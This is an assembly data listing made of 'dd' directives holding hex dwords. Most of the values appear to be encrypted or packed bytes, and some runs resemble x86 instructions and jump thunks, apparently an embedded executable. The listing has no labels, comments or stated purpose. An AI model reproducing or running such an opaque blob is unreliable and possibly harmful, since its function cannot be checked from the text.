dd 0FF4B6785h, 7511AB4Eh, 0F4E1DDC2h, 0A2FB1FC0h, 0F25924CDh
dd 0E840FAB4h, 710BDC6Fh, 0CFA21ECDh, 38C0842Dh, 710BDC9Dh
dd 0A93FC057h, 0DB8D36C4h, 0A1106h, 2957800h, 18C07FDh
dd 4B67886Ch, 0EF066FFh, 0B10FDA77h, 457D7B06h, 74A05E5h
dd 0AB7F3B75h, 71060132h, 324CDB8Eh, 513BBC53h, 0CFD4A2FEh
dd 0CA515F1Ah, 0A576306Eh, 58597148h, 1075F31Eh, 0AF3E787Dh
dd 0CEA221CAh, 0AA3F5329h, 0B039DAC3h, 7904A325h, 0F0EB3F7Bh
dd 486EFE58h, 6D00E59Dh, 0DEB10448h, 8DF88FD9h, 0E0B2536Fh
dd 7235DDBh, 7511CFF9h, 44B1F067h, 15E0D375h, 9909875h
dd 49280000h, 0C05D20A4h, 2EC0553Bh, 9A72C785h, 0DE27715h
dd 0D302E0E4h, 9BC9F287h, 0F5D6236h, 0BDD3D8BAh, 2CA04528h
dd 9C351595h, 0E07105FBh, 0F26F9350h, 0D8770EF0h, 0D7730FADh
dd 750749B4h, 4C21590Ch, 0D64004A9h, 0B5D6637h, 559D395Eh
dd 4B4E20C4h, 0F0F598EDh, 6A4EF98h, 50E2C068h, 85506F09h
dd 0DBD68BEAh, 5BB656E6h, 922h, 5236B75Ah, 0C7852ECFh
dd 71179C72h, 0E1E708ECh, 12767B1Ch, 60316590h, 0D0A0355Bh
dd 46D4B92Fh, 0B35A2FBDh, 83075E32h, 5FB2EA7h, 1E29271h
dd 4A2432Ah, 0F065FE4Ah, 0CDB770Eh, 0A45ED8B0h, 0EF10B84h
dd 70AA0F77h, 715B3A0Bh, 582D8B5Eh, 8227C8B5h, 26C89FCAh
dd 0F356369Dh, 51F194Dh, 0C2996C98h, 40Fh, 9F85F07Dh, 0FF96F5FEh
dd 6CFBEEFEh, 49CFF652h, 85567507h, 0F82770CAh, 535E63EEh
dd 94B6307Fh, 0DB8EA71Dh, 8627CE9Fh, 17987FC2h, 8130AD75h
dd 6F1A7106h, 13113971h, 216F098Fh, 29BAF69h, 7E770375h
dd 7428A1EBh, 0C1947703h, 14EE3B7Ah, 0DBB3E6DBh, 86106h
dd 77781B00h, 0CAEF8C11h, 545D3386h, 24C9AD30h, 0B73CDDA0h
dd 0F6A453D1h, 61F49821h, 95786C91h, 1BEEE207h, 441D7374h
dd 0FA6DE642h, 21D37105h, 94470142h, 5B2015C7h, 1DB696D4h
dd 63770E42h, 821578F4h, 0BF8B457Dh, 770E4126h, 41B42DFDh
dd 5D08770Eh, 71199742h, 0E4E409ECh, 19737819h, 89C3E4B4h
dd 69A9FD31h, 0DB8ADE42h, 41900921h, 79EC770Eh, 9EACB083h
dd 38AB996Ch, 0D4000003h, 0EF0F26Fh, 0FADD877h, 6EFFB973h
dd 62676186h, 0EF0B12Ah, 0DC580F77h, 74A0BCCh, 0BCFA6175h
dd 23A14629h, 5636B75Eh, 2E486611h, 0C6B3BB6Dh, 4D2BE980h
dd 0DD393713h, 0A8076F09h, 2D9F20C5h, 98348C75h, 8AC9E877h
dd 4FE6DB0Bh, 790A2BFh, 49280000h, 0C05D20A4h, 2EC0553Bh
dd 9A72C785h, 0DE27715h, 0D302E0E4h, 9BC9F287h, 0F5D6236h
dd 0BDD3D8BAh, 2CA04528h, 9C351595h, 0E07105F9h, 432A9350h
dd 0B0472AA2h, 91B9730Fh, 770EF0F8h, 731B9144h, 3A3E62D6h
dd 996D4E22h, 296DDh, 0F26F5E00h, 0D8770EF0h, 0D7730FADh
dd 750749EDh, 30EA8453h, 5335BA5Dh, 40D7BA36h, 0AC6F29BFh
dd 0AF51D750h, 46B7C88Dh, 0AA34277Ah, 0C9ACC1BFh, 0D7B13ADCh
dd 0D947EDB2h, 0E15746A2h, 4A35721Ah, 903612ACh, 0EE6F09D1h
dd 57FB387Bh, 26C6E6DBh, 6ED2Bh, 0CBEC8F00h, 5E633085h
dd 28D1A70Ah, 0B83DD1A4h, 0BB041D4h, 7A30EF45h, 95786C95h
dd 19ECE005h, 8F12767Bh, 0F081C7E8h, 0F9F992B6h, 0B5477105h
dd 0A2432A36h, 0D1AB6C2Ah, 0CDA7D0DBh, 7C1376F2h, 82B2117Bh
dd 8671045Eh, 63D1C550h, 0AB3984A0h, 7E1733EDh, 0C2770E55h
dd 1EA37017h, 969D1B4Eh, 996CB78Eh, 1149h, 0D45AEA00h
dd 1C000001h, 0F04DC662h, 24B3770Eh, 0F86FCB48h, 0DE770EF0h
dd 0C942E6B3h, 37770EF0h, 0E39DD5A0h, 0ED4B7002h, 749E0DDh
dd 0F1895C75h, 1074791Ch, 0ADC5EA8Dh, 1BE57F3h, 0AF027106h
dd 0DE5A21CAh, 108EF98Eh, 0E4CF256h, 3FAA6F09h, 0DB944D84h
dd 0E57810E6h, 62Ah, 5A0EAF42h, 0CF9D26F7h, 796F947Ah
dd 0E9FF0094h, 1A4E7304h, 58396DA8h, 0C8A83D53h, 3EDCA127h
dd 0AB42D7B5h, 7B3F460Ah, 5F836AFh, 79FA8A71h, 2AA2432Ah
dd 5D0FB047h, 8F6122F0h, 9867626Ah, 668B6DF0h, 4487466h
dd 0E72BE9BAh, 0A127C8AFh, 6D527A82h, 77599h, 5A860000h
dd 11Fh, 8F6C01D9h, 94B4626Ah, 770EF0FBh, 0B10F9A41h, 0EF10199h
dd 9EE977h, 49EAC266h, 79337507h, 60138D1h, 5BD18471h
dd 4E5D257Ah, 6E47C34Ch, 7006E783h, 0F9B3ED4Bh, 827E8314h
dd 0CBE708EFh, 0BAA03911h, 491C7106h, 7E219FF3h, 5F31BAE6h
dd 0A0F055Ah, 5B603D50h, 0C0E588DDh, 7730C7A6h, 194C1CA5h
dd 0A677DAB2h, 0B31E4B1Dh, 0FBBA53F7h, 53067105h, 87F2B5D5h
dd 53F95169h, 0D16F0908h, 0E1491BF2h, 77030A68h, 0D2BA01D4h
dd 0A88928B7h, 29E6DB8Eh, 5308C41h, 0A9480000h, 20FD4004h
dd 8E60F59Bh, 0FA926765h, 6D0297F5h, 73A20044h, 3BA95227h
dd 0AF3DC256h, 0DDB338DAh, 4C00A548h, 3CD57535h, 807105F7h
dd 6C0173F0h, 0E78A668Bh, 32D3EF10h, 8EDE5A5Bh, 21AB4C23h
dd 0D46EB262h, 1B28BC41h, 996D5201h, 7FEh, 2C5A7900h, 0D9000000h
dd 2AA2432Ah, 20F7B047h, 0F063FC4Ch, 32D9770Eh, 0D5A025A7h
dd 8B4C0AB3h, 0F42B7DCAh, 0C5F9773Dh, 0B136D991h, 213ED3h
dd 2A450000h, 4A04A243h, 0EF065FEh, 0B00CDB77h, 0E98F5ED8h
dd 0C64464C0h, 85770EF0h, 5A3D7599h, 2A4C3755h, 9D2AA243h
dd 6EBAF4F2h, 75074A8Eh, 0A85126C7h, 39D27620h, 87710601h
dd 0D6EF45D0h, 0D8AD6703h, 5336B237h, 0C0553BBCh, 0A7C0882Dh
dd 88A0DEDCh, 6EFE5B8Dh, 971CF98Ch, 0D3673819h, 66FF4B66h
dd 0DA770E5Ah, 0DED66A0Fh, 0D871D991h, 24770EA6h, 0F98C2AB1h
dd 6EF39116h, 41666687h, 2AFEB836h, 7511A41Ch, 91B4CF9Ah
dd 54E0D321h, 41859B4h, 0C1500000h, 38C5A83Ch, 0A648DDB3h
dd 12FA4F1Dh, 856AFFEDh, 5B9A687Ch, 3416A0Fh, 0B7D5DABEh
dd 25AB5022h, 5438BD50h, 24BD8D0Dh, 987105F6h, 432A0BE8h
dd 0B45B2EA2h, 21F45933h, 0E55FCC9Ch, 9116F9B1h, 0D0A045F3h
dd 4C28BD2Fh, 6D525D67h, 431A99h, 0F0A50000h, 0FF4B6785h
dd 7511AB4Eh, 8A5B17C2h, 515A3BE8h, 3DC2AA37h, 0C4533EABh
dd 0A3DD7880h, 8017710Bh, 0A189437Fh, 710BA328h, 91B035D8h
dd 39CACCAh, 79710BA4h, 0EF721692h, 69E4E40Dh, 382h, 8B6C0194h
dd 523D8A66h, 0C80E1A54h, 0A67511F9h, 21F45933h, 8F61CC9Ch
dd 0F99F626Ah, 0DADA98F0h, 0CF6504B6h, 7505E89Bh, 88C0E588h
dd 4DFA76DDh, 7B0AA442h, 0DD9B119Ah, 0EDB074Dh, 92F6656Fh
dd 93C6AAD5h, 55E71042h, 0BF8B27B2h, 75113159h, 9015F8D7h
dd 0D8CCD9CFh, 2EB5652Eh, 0B53ED3BEh, 34EEA8D3h, 0B127B14h
dd 0B0EBF71h, 6CB0476Fh, 0F6CAA635h, 0A94732A2h, 0AED33911h
dd 8A516F0Eh, 717619ECh, 92F67217h, 948D680Fh, 9D0515B9h
dd 0C6A7C3AEh, 5A328E2Fh, 0C99F20F7h, 9DD5D3BEh, 11A0D78Dh
dd 9A7E5575h, 8B167315h, 7C1535EFh, 0C0710B80h, 27CF9F15h
dd 710B80AAh, 8296BA66h, 9369DE7Ah, 5175h, 85F08600h, 0D4BA4B67h
dd 227E7E5h, 78C784A4h, 164ABF10h, 89F5222Bh, 20084622h
dd 7511D78Eh, 25BE8A0Ch, 0E5710BB7h, 0B01B71h, 568AB10h
dd 15E04F74h, 3F0BC573h, 710BE5A6h, 0D9F14F1Ah, 710BE53Ch
dd 100054C8h, 936A470Ch, 0B8CBh, 432A7400h, 0B2472AA2h
dd 0F0D54EDAh, 442B770Eh, 0C5933B4h, 2FB2DAA1h, 5825A748h
dd 8C5C30B5h, 770EEE96h, 0DCB035D8h, 16F9A649h, 9B20F291h
dd 4A1720Ch, 5BD56D7Ah, 3D4A229Eh, 0E1A5452h, 75116B00h
dd 94CB217Eh, 0C7359CA6h, 305B1478h, 0EE3AF4B2h, 710BE075h
dd 0E6A01CCBh, 9914D42h, 621CCB6Fh, 87C5EE83h, 1D545D32h
dd 0E6D6C830h, 0F32C21C9h, 0B5000001h, 3E83C1E6h, 0AD30545Dh
dd 0DFA226CBh, 4FD2B637h, 0E14301AAh, 6A8F6036h, 0FEFF9366h
dd 4C7507EAh, 0DDE2B518h, 98B0F68Fh, 7105F4FFh, 2A28CB7Dh
dd 4528BC45h, 0A2750DB2h, 65DAA54h, 0BFD3A971h, 6785F0C4h
dd 0D1D6BA4Bh, 7B0D1D5Bh, 0F17511FFh, 91FB0092h, 0F9FE91F4h
dd 536FFAEFh, 0E018B199h, 0F164710Bh, 0C0A5137Bh, 1A328E33h
dd 710BDF7Dh, 5741958Bh, 936A414Dh, 0BB0Ah, 432AB500h
dd 0B2472AA2h, 0A1B75F09h, 0F8770EEEh, 0A18CC027h, 0AA0625A5h
dd 0D98F30C7h, 4C1CA174h, 1452503Bh, 11EF0634h, 77197475h
dd 0E04F1A72h, 3AB8C3ECh, 4F96AC7Ch, 0B9146F09h, 2F4BD6DBh
dd 47E3B95Eh, 77085FCEh, 9ED8A732h, 5FCB44E4h, 9C7D7708h
dd 0D3A93C17h, 0BC452ABFh, 0D6F91205h, 322FBFE6h, 10Eh
dd 0A62ACBAEh, 2BB942D3h, 450BB046h, 0F59B1CF0h, 666A8F60h
dd 7405518Ch, 0E4B4194Fh, 5A388DC3h, 0C7AE3351h, 9713A226h
dd 5F41AB3h, 15D66671h, 0A4FA5E01h, 59D33AA7h, 0CCA837BCh
dd 97D3D8B9h, 0C99C25F6h, 82C78126h, 18FF4226h, 0A647F197h
dd 0DC572DD2h, 3FBF5E01h, 882611Ch, 4936D9ACh, 0D5B702A7h
dd 1BF8A548h, 9E1FF396h, 580C9BCEh, 0D7BE642Fh, 28A0492Eh
dd 2F4BD6BDh, 6D1131Bh, 0E5E0D75h, 1CE1CCA3h, 0D2D3A77Fh
dd 4A8A2FBAh, 0E5457DE0h, 7106956Ch, 2ABE05D0h, 3EF9996Ch
dd 1C529331h, 0B8D0BF63h, 5B32572Dh, 6EEA325Ah, 0A01B753Ah
dd 6F06588Ch, 0E0B71A4Eh, 2E224B0Ch, 0E687C583h, 6F792DA6h
dd 79C49303h, 0C5EA826Fh, 50593E83h, 3FC45538h, 0DA0E26ADh
dd 6DB1F378h, 6BE444FEh, 0D1036F79h, 34DBAE0Ah, 0F6CE279h
dd 48D7239Ch, 0D9DEB104h, 7106E7A1h, 18C74048h, 0A635036Fh
dd 3AFA2CAh, 0D6000000h, 472A8003h, 0B45B26A6h, 26F45933h
dd 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h
dd 0B1422FB9h, 510B4008h, 0C181E189h, 4, 8704E983h, 895C240Ch
dd 368241Ch, 8900006Eh, 682404h, 89000046h, 0BB532414h
dd 608F082h, 89DE8956h, 685B5EF0h, 2D0Ah, 81242489h, 42404h
dd 815A0000h, 4ECh, 24048900h, 0FF08428Fh, 835A2434h, 48B04C4h
dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7E43E95Ch
dd 7204FFFAh, 9C82F492h, 8FEB7B8h, 0FFC50306h, 9280E3E0h
dd 7F323008h, 9B38F146h, 0C6A3CF05h, 0D49BDD31h, 0A3CC7C06h
dd 8E0C2115h, 26EE126Ah, 83BD923Fh, 0A0FB547Ch, 0CCF94C7Bh
dd 1C05D12h, 37EADA56h, 0CA6EE930h, 4A12462Dh, 5A95DE54h
dd 65C9DA12h, 79AB2C7Ah, 3CCAF751h, 63EF5124h, 366AE63Bh
dd 12E814h, 89BB0000h, 7F7CF378h, 920A2C9Fh, 2BF8DFFCh
dd 0C0B794E2h, 0E9D98B60h, 9, 0E5742C11h, 2D26ABD6h, 0F586129h
dd 387h, 0F28B6600h, 656CC081h, 39BE0000h, 680435A8h, 0
dd 0FE8h, 0E8DF6C00h, 0CA353CA2h, 841F3E77h, 87A39A34h
dd 9CDE8166h, 605B5F73h, 6E9h, 0F072E200h, 0FEB4883h, 0FF61DABFh
dd 0E8500334h, 11h, 0A562CB46h, 0D457FBACh, 0EB115DCDh
dd 0CCA4F320h, 10E95Fh, 9A330000h, 64B79848h, 0A9E4ADB9h
dd 0D9F02847h, 5E59B436h, 0EA81F55Ah, 70355C14h, 81CAB70Fh
dd 28E316F2h, 0F6816672h, 0C281E840h, 5404B50Eh, 89FBBF0Fh
dd 21BF1814h, 8130A8E7h, 14D36DEBh, 0CE823h, 43D00000h
dd 69540510h, 8E9BE8BEh, 0B70F5434h, 0C3815EFFh, 2314D369h
dd 0FB81F78Bh, 0FFFF9B80h, 0FF79850Fh, 8D8DFFFFh, 60900F5h
dd 2519BD89h, 8D890603h, 60331D1h, 2A958D89h, 85C70603h
dd 60301E1h, 5DECh, 68BCEB81h, 85C70FADh, 60321BDh, 0
dd 5E9BD33h, 0B5FF0603h, 60313E9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0C0C35040h, 5879F1D2h, 0B5898DF7h
dd 6031AADh, 269195FFh, 0A2B00603h, 13ED958Bh, 6A0603h
dd 1FB995FFh, 0C08B0603h, 5841EEBh, 73223E50h, 467390D8h
dd 206D6CB0h, 10F5B025h, 0C7C32A7h, 0B5205D42h, 578F9A98h
dd 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h
dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh
dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh
dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h
dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h
dd 10000ACh, 43h dup(0)
dd 0D1F80000h, 0DA43736h, 0B4B6D3C2h, 1AE97021h, 68000010h
dd 6090452h, 0FB3FB3E9h, 55568FFh, 0A9E90609h, 68FFFB3Fh
dd 60906C3h, 0FB3F9FE9h, 77C68FFh, 95E90609h, 68FFFB3Fh
dd 60908B0h, 0FB3F8BE9h, 99068FFh, 81E90609h, 68FFFB3Fh
dd 6090A47h, 0FB3F77E9h, 0AE368FFh, 6DE90609h, 68FFFB3Fh
dd 6090BBDh, 0FB3F63E9h, 0C5B68FFh, 59E90609h, 68FFFB3Fh
dd 6090D27h, 0FB3F4FE9h, 0DE568FFh, 45E90609h, 68FFFB3Fh
dd 6090E9Eh, 0FB3F3BE9h, 102A68FFh, 31E90609h, 68FFFB3Fh
dd 6091148h, 0FB3F27E9h, 771730FFh, 7A3C7E5h, 95315715h
dd 27C7E187h, 0B6507735h, 134850A4h, 0A2C052F4h, 3E7CEE84h
dd 0CBE97B17h, 441E0CAEh, 8390C6D9h, 5E6EA1A8h, 3AE00565h
dd 3CDEFBBBh, 0C39DF92Eh, 0CF8100A2h, 4F4EE40Dh, 89E84D0Dh
dd 0ADA49116h, 5033B262h, 0A1A2901Ah, 53936926h, 0AE9893A7h
dd 4C10h, 1074AB00h, 11BC1732h, 33ADA491h, 288BA683h, 0A1A292BEh
dd 34B55176h, 3D189874h, 0A29234A2h, 0A752C2A1h, 9221ADCCh
dd 461DA1A2h, 8D9244E6h, 0D40BAE98h, 0CE000000h, 1E71AED4h
dd 0A1A29E48h, 0EB4E0EB6h, 0A29EDE88h, 8D7838A1h, 3AE00508h
dd 3ADCFBBBh, 3CDEFBBBh, 3EDCF9BDh, 8573AD2Ch, 9EBBA7A1h
dd 2D486EFCh, 5B3F0C8Dh, 7CFBDA7Fh, 0D1ADA49Dh, 9C8FDBBAh
dd 0C949A1A2h, 328DA83Ch, 0A1A29CA4h, 3022E252h, 8EAB8703h
dd 0A42D2C37h, 0CD6828ABh, 0AE389BB6h, 0A8ABA94Dh, 82A11DE8h
dd 133076E4h, 35B45271h, 4D2BBF16h, 6DD5ABA9h, 0EBFDEDADh
dd 3828C458h, 0DC85EB9h, 34570000h, 0C0DA988Ah, 4E6A081Ah
dd 0E404BAA8h, 6D8A283Ah, 2B735BC9h, 0E7751136h, 1301A1C1h
dd 8C9E345Dh, 3D2FCBEEh, 8FDBBA63h, 49A1A884h, 0DE054A21h
dd 71942A38h, 0E99E1328h, 7B990926h, 0DA9ADADBh, 0C372647Fh
dd 148CA7A1h, 7499C654h, 75153010h, 0D1743474h, 0A491D3FEh
dd 60C57DADh, 91640A22h, 9137BFDEh, 540BA1A2h, 8E8436F0h
dd 0CDE8AE98h, 9D8BDFB6h, 0CD75A1A2h, 0A29DBA2Ch, 29DC44A1h
dd 0C2E7h, 0C362FC00h, 86A0C6FDh, 2A3E5E4h, 20D584ACh
dd 0C2C36782h, 66C36380h, 882A4B4Bh, 20B65709h, 0DEA7A18Fh
dd 0B1D09366h, 0A7A18A67h, 1200AACFh, 1091395Ch, 0AE8B6723h
dd 0A48C10D7h, 0CAE9A5ADh, 1EEBAD2Ch, 3D180A8Ah, 36C36381h
dd 88AD890Dh, 6B7F566Dh, 0DCA1A2ABh, 0A2AB95C5h, 0DFB363A1h
dd 3B339267h, 0DDABA405h, 0A5C2C065h, 365D1301h, 63A20090h
dd 0F07128C4h, 0CC5E9h, 97375000h, 27C3E785h, 0B5517735h
dd 47E701A7h, 0D67097D5h, 33287044h, 0C2E07214h, 5E1C0EA4h
dd 0EB899B37h, 643E2CCEh, 85B026B9h, 3E4EA1A8h, 3ADE0545h
dd 2279781Eh, 0A1801743h, 7131E1A7h, 0E80DA3B1h, 5ABD042h
dd 0FBBB3AE0h, 0CB8659DEh, 314105D0h, 5B2FBB5Ah, 6929A7A1h
dd 1074BBA9h, 557C1732h, 0C77B0F40h, 1F3AD1A4h, 0D9D882A7h
dd 0E873D2A7h, 6CADA423h, 7EF3DA55h, 7F3F36AAh, 6571F7Eh
dd 0B46BA1A2h, 19E49650h, 6D5DAE98h, 38000000h, 0CCB95D7Ah
dd 3210744Fh, 0A805BC17h, 9D07ADA4h, 381DDD75h, 0A9D4821Dh
dd 7222A1A2h, 0C18DEC87h, 0FDA1A2A9h, 7224C626h, 0FEAE987Ah
dd 0B196C0A3h, 0B060A1A2h, 321BC5h, 0A3FE0000h, 0A2B196C0h
dd 0C5B060A1h, 32107450h, 0A241BC17h, 36C3ADA4h, 0A2A20B5Fh
dd 8D4DF5A1h, 0A2616D0Ch, 865DA1A2h, 7DD284A6h, 74BAE98h
dd 50000000h, 8755Eh, 10742500h, 0B1731330h, 0B6F6F797h
dd 0EC7053F6h, 27ADAA83h, 18D0D48Ch, 0B64347EAh, 0AEC83D2h
dd 4649BDF0h, 0C6E3A386h, 9F173624h, 0F612D07Ah, 6A1F5150h
dd 8C0DADC8h, 5AFFDBBFh, 0A38B547Bh, 0E540F0ABh, 7CEE8CA9h
dd 547D1B3Eh, 32DCFCBEh, 0B031F1B3h, 0E2B0783h, 0B68FACB7h
dd 0F8E8A8A1h, 2ED09B04h, 57475E13h, 0C600000Bh, 556BF9A5h
dd 0E59B8931h, 773527BFh, 5BBA955h, 0C22A38DEh, 0E482A1BAh
dd 70123076h, 0DA5CCE2h, 9E3C591Fh, 482BF28Ch, 0A1A8861Eh
dd 26DBD0F8h, 0A7A181ACh, 0B0957115h, 0AA8313D1h, 0D745FDADh
dd 0EEF8DBF6h, 68A1A882h, 7410DDA8h, 0D6F3B396h, 2B8A4134h
dd 0ABA3803Dh, 0A7C267DFh, 83A12988h, 0E55FABB3h, 0E5A726BCh
dd 0B7D25025h, 46630113h, 0B6EE81A4h, 4C06FA90h, 0A697EE9Bh
dd 42E006E2h, 6D88A782h, 0B3F84412h, 7702B2ABh, 0B8F9E99Ch
dd 8EAB6BA1h, 0DB49F114h, 0DBDA80A5h, 0BAF930B8h, 35117535h
dd 0FC22B110h, 762E3FBFh, 0DA0C9066h, 0FBE29FB4h, 0A9Eh
dd 0A2B05E79h, 0D240EA0Ch, 4CDE789Ch, 0F2600E2Eh, 6DFF97BCh
dd 3B580119h, 0CBEB899Bh, 5E872537h, 0F51056C4h, 60BDC755h
dd 0A8875901h, 9C17A7A1h, 17321074h, 0B9DF799Fh, 1CDC9C1Dh
dd 1F97B269h, 1A5A5BF7h, 8278F46Fh, 1A9AADAAh, 0B862873Fh
dd 49F114AAh, 411F7B48h, 44048525h, 0C8EDA184h, 14E1A322h
dd 8376E6F9h, 1080ABA3h, 0BE5C7935h, 5BFF1B9Bh, 876F1A5Ah
dd 2460EF86h, 59656434h, 57F316ACh, 9B0753F2h, 18983321h
dd 7E567AB9h, 23D68E41h, 5E177340h, 25A43E64h, 65D48263h
dd 7222ABB3h, 613C97B2h, 0E3A1B867h, 799C1633h, 82D43D1h
dd 0AD446362h, 0F3BE906Ah, 9609FC86h, 0B5BABCDCh, 3C5E5473h
dd 0BC5D1F9Eh, 0B5BABC2Ah, 54996CD4h, 9CF75230h, 0BFB1BE14h
dd 9EC8AB76h, 78BF85BDh, 615DF8B8h, 0F6B4A644h, 6B1335D3h
dd 6B6A2A6Ah, 0C5603E5Ah, 8EBF7EEAh, 1A98B5h, 59195B5Ah
dd 98CEA1FCh, 66B98CBEh, 3CD6FCBEh, 770EFBBDh, 0C1644246h
dd 0D4800BAAh, 0DE3C1554h, 4CF5A82Bh, 0AF17B389h, 0EC7DD13Fh
dd 0B8A35E40h, 96Ah, 7EEC92B5h, 0EE7C1E38h, 180AACC8h
dd 8E9C425Ah, 392BCBE8h, 6F94CD2Dh, 0FF2745D7h, 92B3F163h
dd 294C62F0h, 54C19381h, 0A8886D7Dh, 0E8C3EBA1h, 1E38E005h
dd 7B3B7D7Ch, 181D387Ah, 0A180D1B9h, 53752FA7h, 0AA2BEBABh
dd 5825DF8h, 0D138CB4Fh, 0E17B18EDh, 587D1B3Eh, 3D60F2B2h
dd 0B49B3589h, 11F2h, 0FA5E8900h, 7B000004h, 8015455Ch
dd 33E3A7A1h, 0CE0BD546h, 0F7523054h, 0A4B01D9Ch, 62C77FADh
dd 64650520h, 0D1805124h, 7CAE7D7Bh, 45E0BEDAh, 0ABA93B6Ah
dd 21805D74h, 78B3A9B9h, 9E1FDF47h, 280DE9ADh, 54A37C89h
dd 0EDAF87E6h, 0ECAC2DC5h, 0AFE3C219h, 8072B580h, 0B643E702h
dd 0A8C762D2h, 0B96781C9h, 32C77F42h, 0D07A9F17h, 61092C42h
dd 0D4729971h, 0F0EB6601h, 88Ah, 5ECC7295h, 0CE5CFE18h
dd 78EA8CA8h, 0EE7C223Ah, 190BABC8h, 4F74ED0Dh, 0DF07A5B7h
dd 7293D143h, 92C42D0h, 74A1F361h, 0A8894D1Dh, 88E38BA1h
dd 63032062h, 53F91C96h, 0D5D49436h, 71D47291h, 8B7E143Dh
dd 7250347Bh, 821AFCD7h, 1DA4ADAAh, 0BFC79FCDh, 0BD985883h
dd 0B082C66h, 0A8503EA8h, 9858D8A1h, 963451EDh, 27C3E684h
dd 15F195A6h, 528F5130h, 6100ABA3h, 4C8C7704h, 8471C9h
dd 439EB590h, 0B3837660h, 521080ABh, 49E59036h, 0C1698C2Ch
dd 0C06682C0h, 0FCF8FC1h, 903A5F1Dh, 59783A11h, 8D7838B9h
dd 64741231h, 28CD8EB0h, 0D39B827Fh, 42000007h, 0D1978529h
dd 610715B5h, 0F3B1A343h, 812735D9h, 4656C462h, 60062D36h
dd 0FC96BCF2h, 8929486Eh, 1AC0E59Bh, 0D4AF7608h, 0A1A88A82h
dd 62572C7Ch, 38E634C3h, 2030F6BCh, 0C2842530h, 1CBAD90Dh
dd 0DA789E5Ch
dd 27EC99DBh, 0C3A28763h, 0ADAAE411h, 13475EFBh, 0EDA1A8E7h
dd 0D2D07535h, 4B1F76B7h, 0B5A1A8E7h, 99DF4D0Dh, 0F8DFDE7Ch
dd 0CF99DBAh, 42E7C3C7h, 0E71A4C27h, 3CE4A1A8h, 0A0339249h
dd 1DABADFCh, 2FBEFC6h, 9D05ABADh, 2CBC64E8h, 28C80E02h
dd 37495011h, 0E6000007h, 750B19C5h, 5BBA951h, 97D547DFh
dd 255BC975h, 0E2CA58FEh, 4A2C19Ah, 90325016h, 2DC5EC82h
dd 0BE5C793Fh, 0A80B12ACh, 0A1A88A3Eh, 53BB0D8h, 0FBBB3AE0h
dd 0E9BD3CDEh, 0CAEF52AAh, 76F1E2C1h, 0A9691CF0h, 0A4D07ABBh
dd 749B49Ah, 52000000h, 2DC5Eh, 0E0052500h, 419CBB3Ah
dd 0A180786Eh, 0F81C86A7h, 5D1D5F5Eh, 431F7BA8h, 835D8FE6h
dd 7BFADAAh, 88325715h, 882E5509h, 15F1959Ah, 80EE5130h
dd 8023ABA3h, 2AA3F119h, 84B213DCh, 38FA6CC8h, 82329663h
dd 20CAEFA7h, 0B1597C32h, 0E7FE1530h, 0ABB38BF3h, 42E0950Dh
dd 0EEA48125h, 0EBAD2CCAh, 3256671Eh, 0D8DAF154h, 5C64F8B9h
dd 0D2917918h, 69EC6712h, 8BA1B6D8h, 275D9B0Bh, 37AA2ED1h
dd 65D2Ch, 0FF9FB800h, 8F2B4F6Dh, 1DB9DF9Dh, 0AF4F690Fh
dd 3ED8FFBDh, 9BC0D82Ch, 2A48DA7Ch, 0C6E4760Ch, 5311039Fh
dd 0FC869436h, 8B184E21h, 0D6E6A1A8h, 22062DDh, 803CAA05h
dd 5ADAA7A1h, 3257EF9Ah, 30550988h, 0D2F7AF8Ah, 0B74B6A28h
dd 0E0837636h, 0E2E387A2h, 0E0E181A0h, 0DC41DB78h, 86740F0Eh
dd 6DB9EE2Dh, 223A5B2Eh, 95B05A7Fh, 0AE5BFB19h, 0D4AD5944h
dd 1516B49Ah, 0AD000000h, 519FC362h, 478062D9h, 16BABB2h
dd 366C0000h, 1B807511h, 0AA3AE005h, 1CBB8B98h, 0BFF3EA67h
dd 5E000005h, 0ED83913Dh, 7D3321C9h, 0FADBF57h, 9DD341EDh
dd 7A42D076h, 7C1A3922h, 8AAC8EEh, 0A53D641Ah, 36D4F1B7h
dd 20839A24h, 0A1A88CB6h, 5433840h, 0FBBB3AE0h, 0E9BD3CDEh
dd 0CAEF52AAh, 807C6A45h, 1A9AA7A1h, 3C24FF5Ah, 618EF07Fh
dd 0AD906217h, 0B49B48F9h, 2B62h, 0A9082700h, 0A7A1E321h
dd 299267DFh, 0EC5Eh, 455C7B00h, 0A7A18015h, 1C21142Eh
dd 9D71792Ch, 98580227h, 0D25E68EDh, 25000000h, 17321074h
dd 0AA83ACBCh, 0E9C8E7ADh, 0A1A883E1h, 73721031h, 10E55D31h
dd 580E61BCh, 0A6A1A883h, 71193CFEh, 870330B1h, 90378EABh
dd 0E5ABAD9Eh, 0A0E3F7CEh, 0A51DABADh, 0D4C47CD0h, 28C7AC28h
dd 0F3637AF7h, 22000004h, 0B1F76509h, 4167F595h, 0D3918323h
dd 610715B9h, 0A6B6A442h, 40E60D56h, 0DC769CD2h, 6909284Eh
dd 0FAA0C5FBh, 0F4CF5668h, 0A1A88DE2h, 74774C1Ch, 0BC173210h
dd 0ADA4CD12h, 0D88EE13Ch, 8A1A2CEh, 0D4F4EF0h, 54F1B161h
dd 8E9C3A5Eh, 4AF2178Fh, 490B8A30h, 0BD480889h, 0A2CEAB22h
dd 0A44663A1h, 0FD1F97B6h, 0CE0D5D34h, 4BCBA1A2h, 2044FE8Bh
dd 6ECB2667h, 0DCD2164h, 474958Ch, 0C860000h, 842643E9h
dd 0F6834305h, 32107405h, 83ACBC17h, 0F6AEADAAh, 0D531D0F7h
dd 8ED8BB3Ah, 48A1A8C1h, 0F899E9C8h, 0DABE6712h, 234659FCh
dd 0FDABADE1h, 24B15545h, 837E28C8h, 43598h, 27C7E000h
dd 0B7537735h, 45E107A5h, 0D77791D7h, 66002745h, 0C398E0F4h
dd 521002A4h, 0EE8C9E34h, 7B392BC7h, 14AEBC5Eh, 8D20B609h
dd 8EDEA1A8h, 0D3107435h, 0B8B18097h, 2401C19Eh, 0AA26974Dh
